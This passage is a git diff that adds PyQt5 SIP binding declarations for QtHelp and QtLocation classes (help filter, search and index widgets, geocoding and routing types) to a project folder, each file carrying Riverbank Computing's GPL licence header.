AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_13_0 -) + +class QHelpFilterEngine : QObject /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + QMap namespaceToComponent() const; + QMap namespaceToVersion() const; + QStringList filters() const; + QString activeFilter() const; + bool setActiveFilter(const QString &filterName); + QStringList availableComponents() const; + QHelpFilterData filterData(const QString &filterName) const; + bool setFilterData(const QString &filterName, const QHelpFilterData &filterData); + bool removeFilter(const QString &filterName); + QStringList namespacesForFilter(const QString &filterName) const; + +signals: + void filterActivated(const QString &newFilter); + +protected: + virtual ~QHelpFilterEngine(); + +public: +%If (Qt_5_15_0 -) + QList availableVersions() const; +%End +%If (Qt_5_15_0 -) + QStringList indices() const; +%End +%If (Qt_5_15_0 -) + QStringList indices(const QString &filterName) const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpfiltersettingswidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpfiltersettingswidget.sip new file mode 100644 index 00000000..94b86755 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpfiltersettingswidget.sip @@ -0,0 +1,40 @@ +// qhelpfiltersettingswidget.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_15_0 -) + +class QHelpFilterSettingsWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QHelpFilterSettingsWidget(QWidget *parent /TransferThis/ = 0); + virtual ~QHelpFilterSettingsWidget(); + void setAvailableComponents(const QStringList &components); + void setAvailableVersions(const QList &versions); + void readSettings(const QHelpFilterEngine *filterEngine); + bool applySettings(QHelpFilterEngine *filterEngine) const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpindexwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpindexwidget.sip new file mode 100644 index 00000000..61473638 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpindexwidget.sip @@ -0,0 +1,70 @@ +// qhelpindexwidget.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHelpIndexModel : QStringListModel /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_15_0 -) + QHelpEngineCore *helpEngine() const; +%End + void createIndex(const QString &customFilterName); + QModelIndex filter(const QString &filter, const QString &wildcard = QString()); + QMap linksForKeyword(const QString &keyword) const; + bool isCreatingIndex() const; + +signals: + void indexCreationStarted(); + void indexCreated(); + +private: + virtual ~QHelpIndexModel(); +}; + +class QHelpIndexWidget : QListView +{ +%TypeHeaderCode +#include +%End + +signals: + void linkActivated(const QUrl &link, const QString &keyword); + void linksActivated(const QMap &links, const QString &keyword); + +public slots: + void filterIndices(const QString &filter, const QString &wildcard = QString()); + void activateCurrentItem(); + +signals: +%If (Qt_5_15_0 -) + void documentActivated(const QHelpLink &document, const QString &keyword); +%End +%If (Qt_5_15_0 -) + void documentsActivated(const QList &documents, const QString &keyword); +%End + +private: + QHelpIndexWidget(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelplink.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelplink.sip new file mode 100644 index 00000000..feeece9c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelplink.sip @@ -0,0 +1,35 @@ +// qhelplink.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_15_0 -) + +struct QHelpLink +{ +%TypeHeaderCode +#include +%End + + QUrl url; + QString title; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpsearchengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpsearchengine.sip new file mode 100644 index 00000000..07ac4ed9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpsearchengine.sip @@ -0,0 +1,106 @@ +// qhelpsearchengine.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHelpSearchQuery +{ +%TypeHeaderCode +#include +%End + +public: + enum FieldName + { + DEFAULT, + FUZZY, + WITHOUT, + PHRASE, + ALL, + ATLEAST, + }; + + QHelpSearchQuery(); + QHelpSearchQuery(QHelpSearchQuery::FieldName field, const QStringList &wordList); +}; + +class QHelpSearchEngine : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QHelpSearchEngine(QHelpEngineCore *helpEngine, QObject *parent /TransferThis/ = 0); + virtual ~QHelpSearchEngine(); + QList query() const; + QHelpSearchQueryWidget *queryWidget(); + QHelpSearchResultWidget *resultWidget(); + int hitCount() const; + QList> hits(int start, int end) const; + +public slots: + void reindexDocumentation(); + void cancelIndexing(); + void search(const QList &queryList); + void cancelSearching(); + +signals: + void indexingStarted(); + void indexingFinished(); + void searchingStarted(); + void searchingFinished(int hits); + +public: +%If (Qt_5_9_0 -) + int searchResultCount() const; +%End +%If (Qt_5_9_0 -) + QVector searchResults(int start, int end) const; +%End +%If (Qt_5_9_0 -) + QString searchInput() const; +%End + +public slots: +%If (Qt_5_9_0 -) + void search(const QString &searchInput); +%End +}; + +%If (Qt_5_9_0 -) + +class QHelpSearchResult +{ +%TypeHeaderCode +#include +%End + +public: + QHelpSearchResult(); + QHelpSearchResult(const QHelpSearchResult &other); + QHelpSearchResult(const QUrl &url, const QString &title, const QString &snippet); + ~QHelpSearchResult(); + QString title() const; + QUrl url() const; + QString snippet() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpsearchquerywidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpsearchquerywidget.sip new file mode 100644 index 00000000..9338664e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpsearchquerywidget.sip @@ -0,0 +1,62 @@ +// qhelpsearchquerywidget.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHelpSearchQueryWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_6_1 -) + explicit QHelpSearchQueryWidget(QWidget *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QHelpSearchQueryWidget(QWidget *parent /TransferThis/ = 0); +%End + virtual ~QHelpSearchQueryWidget(); + QList query() const; + void setQuery(const QList &queryList); + void expandExtendedSearch(); + void collapseExtendedSearch(); + +signals: + void search(); + +private: + virtual void focusInEvent(QFocusEvent *focusEvent); + virtual void changeEvent(QEvent *event); + +public: +%If (Qt_5_3_0 -) + bool isCompactMode() const; +%End +%If (Qt_5_3_0 -) + void setCompactMode(bool on); +%End +%If (Qt_5_9_0 -) + QString searchInput() const; +%End +%If (Qt_5_9_0 -) + void setSearchInput(const QString &searchInput); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpsearchresultwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpsearchresultwidget.sip new file mode 100644 index 00000000..6ec66f13 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpsearchresultwidget.sip @@ -0,0 +1,35 @@ +// qhelpsearchresultwidget.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHelpSearchResultWidget : QWidget /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QHelpSearchResultWidget(); + QUrl linkAt(const QPoint &point); + +signals: + void requestShowLink(const QUrl &url); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/QtLocation.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/QtLocation.toml new file mode 100644 index 00000000..43c3d357 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/QtLocation.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtLocation. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/QtLocationmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/QtLocationmod.sip new file mode 100644 index 00000000..7f8745b3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/QtLocationmod.sip @@ -0,0 +1,87 @@ +// QtLocationmod.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtLocation, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtPositioning/QtPositioningmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qgeocodereply.sip +%Include qgeocodingmanager.sip +%Include qgeocodingmanagerengine.sip +%Include qgeomaneuver.sip +%Include qgeoroute.sip +%Include qgeoroutereply.sip +%Include qgeorouterequest.sip +%Include qgeoroutesegment.sip +%Include qgeoroutingmanager.sip +%Include qgeoroutingmanagerengine.sip +%Include qgeoserviceprovider.sip +%Include qlocation.sip +%Include qplace.sip +%Include qplaceattribute.sip +%Include qplacecategory.sip +%Include qplacecontactdetail.sip +%Include qplacecontent.sip +%Include qplacecontentreply.sip +%Include qplacecontentrequest.sip +%Include qplacedetailsreply.sip +%Include qplaceeditorial.sip +%Include qplaceicon.sip +%Include qplaceidreply.sip +%Include qplaceimage.sip +%Include qplacemanager.sip +%Include qplacemanagerengine.sip +%Include qplacematchreply.sip +%Include qplacematchrequest.sip +%Include qplaceproposedsearchresult.sip +%Include qplaceratings.sip +%Include qplacereply.sip +%Include qplaceresult.sip +%Include qplacereview.sip +%Include qplacesearchreply.sip +%Include qplacesearchrequest.sip +%Include qplacesearchresult.sip +%Include qplacesearchsuggestionreply.sip +%Include qplacesupplier.sip +%Include qplaceuser.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeocodereply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeocodereply.sip new file mode 100644 index 00000000..b880507d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeocodereply.sip @@ -0,0 +1,77 @@ +// qgeocodereply.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QGeoCodeReply : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + NoError, + EngineNotSetError, + CommunicationError, + ParseError, + UnsupportedOptionError, + CombinationError, + UnknownError, + }; + + QGeoCodeReply(QGeoCodeReply::Error error, const QString &errorString, QObject *parent /TransferThis/ = 0); + virtual ~QGeoCodeReply(); + bool isFinished() const; + QGeoCodeReply::Error error() const; + QString errorString() const; + QGeoShape viewport() const; + QList locations() const; + int limit() const; + int offset() const; + virtual void abort(); + +signals: +%If (Qt_5_9_0 -) + void aborted(); +%End + void finished(); + void error(QGeoCodeReply::Error error, const QString &errorString = QString()); + +protected: +%If (Qt_5_6_1 -) + explicit QGeoCodeReply(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QGeoCodeReply(QObject *parent /TransferThis/ = 0); +%End + void setError(QGeoCodeReply::Error error, const QString &errorString); + void setFinished(bool finished); + void setViewport(const QGeoShape &viewport); + void addLocation(const QGeoLocation &location); + void setLocations(const QList &locations); + void setLimit(int limit); + void setOffset(int offset); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeocodingmanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeocodingmanager.sip new file mode 100644 index 00000000..d3f422b6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeocodingmanager.sip @@ -0,0 +1,46 @@ +// qgeocodingmanager.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QGeoCodingManager : QObject /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QGeoCodingManager(); + QString managerName() const; + int managerVersion() const; + QGeoCodeReply *geocode(const QGeoAddress &address, const QGeoShape &bounds = QGeoShape()) /Factory/; + QGeoCodeReply *geocode(const QString &searchString, int limit = -1, int offset = 0, const QGeoShape &bounds = QGeoShape()) /Factory/; + QGeoCodeReply *reverseGeocode(const QGeoCoordinate &coordinate, const QGeoShape &bounds = QGeoShape()) /Factory/; + void setLocale(const QLocale &locale); + QLocale locale() const; + +signals: + void finished(QGeoCodeReply *reply); + void error(QGeoCodeReply *reply, QGeoCodeReply::Error error, QString errorString = QString()); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeocodingmanagerengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeocodingmanagerengine.sip new file mode 100644 index 00000000..836e2caa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeocodingmanagerengine.sip @@ -0,0 +1,47 @@ +// qgeocodingmanagerengine.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QGeoCodingManagerEngine : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QGeoCodingManagerEngine(const QVariantMap ¶meters, QObject *parent /TransferThis/ = 0); + virtual ~QGeoCodingManagerEngine(); + QString managerName() const; + int managerVersion() const; + virtual QGeoCodeReply *geocode(const QGeoAddress &address, const QGeoShape &bounds) /Factory/; + virtual QGeoCodeReply *geocode(const QString &address, int limit, int offset, const QGeoShape &bounds) /Factory/; + virtual QGeoCodeReply *reverseGeocode(const QGeoCoordinate &coordinate, const QGeoShape &bounds) /Factory/; + void setLocale(const QLocale &locale); + QLocale locale() const; + +signals: + void finished(QGeoCodeReply *reply); + void error(QGeoCodeReply *reply, QGeoCodeReply::Error error, QString errorString = QString()); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeomaneuver.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeomaneuver.sip new file mode 100644 index 00000000..00faea0b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeomaneuver.sip @@ -0,0 +1,74 @@ +// qgeomaneuver.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QGeoManeuver +{ +%TypeHeaderCode +#include +%End + +public: + enum InstructionDirection + { + NoDirection, + DirectionForward, + DirectionBearRight, + DirectionLightRight, + DirectionRight, + DirectionHardRight, + DirectionUTurnRight, + DirectionUTurnLeft, + DirectionHardLeft, + DirectionLeft, + DirectionLightLeft, + DirectionBearLeft, + }; + + QGeoManeuver(); + QGeoManeuver(const QGeoManeuver &other); + ~QGeoManeuver(); + bool operator==(const QGeoManeuver &other) const; + bool operator!=(const QGeoManeuver &other) const; + bool isValid() const; + void setPosition(const QGeoCoordinate &position); + QGeoCoordinate position() const; + void setInstructionText(const QString &instructionText); + QString instructionText() const; + void setDirection(QGeoManeuver::InstructionDirection direction); + QGeoManeuver::InstructionDirection direction() const; + void setTimeToNextInstruction(int secs); + int timeToNextInstruction() const; + void setDistanceToNextInstruction(qreal distance); + qreal distanceToNextInstruction() const; + void setWaypoint(const QGeoCoordinate &coordinate); + QGeoCoordinate waypoint() const; +%If (Qt_5_11_0 -) + void setExtendedAttributes(const QVariantMap &extendedAttributes); +%End +%If (Qt_5_11_0 -) + QVariantMap extendedAttributes() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroute.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroute.sip new file mode 100644 index 00000000..e492f049 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroute.sip @@ -0,0 +1,86 @@ +// qgeoroute.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QGeoRoute +{ +%TypeHeaderCode +#include +%End + +public: + QGeoRoute(); + QGeoRoute(const QGeoRoute &other); + ~QGeoRoute(); + bool operator==(const QGeoRoute &other) const; + bool operator!=(const QGeoRoute &other) const; + void setRouteId(const QString &id); + QString routeId() const; + void setRequest(const QGeoRouteRequest &request); + QGeoRouteRequest request() const; + void setBounds(const QGeoRectangle &bounds); + QGeoRectangle bounds() const; + void setFirstRouteSegment(const QGeoRouteSegment &routeSegment); + QGeoRouteSegment firstRouteSegment() const; + void setTravelTime(int secs); + int travelTime() const; + void setDistance(qreal distance); + qreal distance() const; + void setTravelMode(QGeoRouteRequest::TravelMode mode); + QGeoRouteRequest::TravelMode travelMode() const; + void setPath(const QList &path); + QList path() const; +%If (Qt_5_12_0 -) + void setRouteLegs(const QList &legs); +%End +%If (Qt_5_12_0 -) + QList routeLegs() const; +%End +%If (Qt_5_13_0 -) + void setExtendedAttributes(const QVariantMap &extendedAttributes); +%End +%If (Qt_5_13_0 -) + QVariantMap extendedAttributes() const; +%End +}; + +%End +%If (Qt_5_12_0 -) + +class QGeoRouteLeg : QGeoRoute +{ +%TypeHeaderCode +#include +%End + +public: + QGeoRouteLeg(); + QGeoRouteLeg(const QGeoRouteLeg &other); + ~QGeoRouteLeg(); + void setLegIndex(int idx); + int legIndex() const; + void setOverallRoute(const QGeoRoute &route); + QGeoRoute overallRoute() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutereply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutereply.sip new file mode 100644 index 00000000..6ce605ea --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutereply.sip @@ -0,0 +1,66 @@ +// qgeoroutereply.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QGeoRouteReply : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + NoError, + EngineNotSetError, + CommunicationError, + ParseError, + UnsupportedOptionError, + UnknownError, + }; + + QGeoRouteReply(QGeoRouteReply::Error error, const QString &errorString, QObject *parent /TransferThis/ = 0); + virtual ~QGeoRouteReply(); + bool isFinished() const; + QGeoRouteReply::Error error() const; + QString errorString() const; + QGeoRouteRequest request() const; + QList routes() const; + virtual void abort(); + +signals: +%If (Qt_5_9_0 -) + void aborted(); +%End + void finished(); + void error(QGeoRouteReply::Error error, const QString &errorString = QString()); + +protected: + QGeoRouteReply(const QGeoRouteRequest &request, QObject *parent /TransferThis/ = 0); + void setError(QGeoRouteReply::Error error, const QString &errorString); + void setFinished(bool finished); + void setRoutes(const QList &routes); + void addRoutes(const QList &routes); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeorouterequest.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeorouterequest.sip new file mode 100644 index 00000000..88d4a5d8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeorouterequest.sip @@ -0,0 +1,158 @@ +// qgeorouterequest.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QGeoRouteRequest +{ +%TypeHeaderCode +#include +%End + +public: + enum TravelMode + { + CarTravel, + PedestrianTravel, + BicycleTravel, + PublicTransitTravel, + TruckTravel, + }; + + typedef QFlags TravelModes; + + enum FeatureType + { + NoFeature, + TollFeature, + HighwayFeature, + PublicTransitFeature, + FerryFeature, + TunnelFeature, + DirtRoadFeature, + ParksFeature, + MotorPoolLaneFeature, +%If (Qt_5_10_0 -) + TrafficFeature, +%End + }; + + typedef QFlags FeatureTypes; + + enum FeatureWeight + { + NeutralFeatureWeight, + PreferFeatureWeight, + RequireFeatureWeight, + AvoidFeatureWeight, + DisallowFeatureWeight, + }; + + typedef QFlags FeatureWeights; + + enum RouteOptimization + { + ShortestRoute, + FastestRoute, + MostEconomicRoute, + MostScenicRoute, + }; + + typedef QFlags RouteOptimizations; + + enum SegmentDetail + { + NoSegmentData, + BasicSegmentData, + }; + + typedef QFlags SegmentDetails; + + 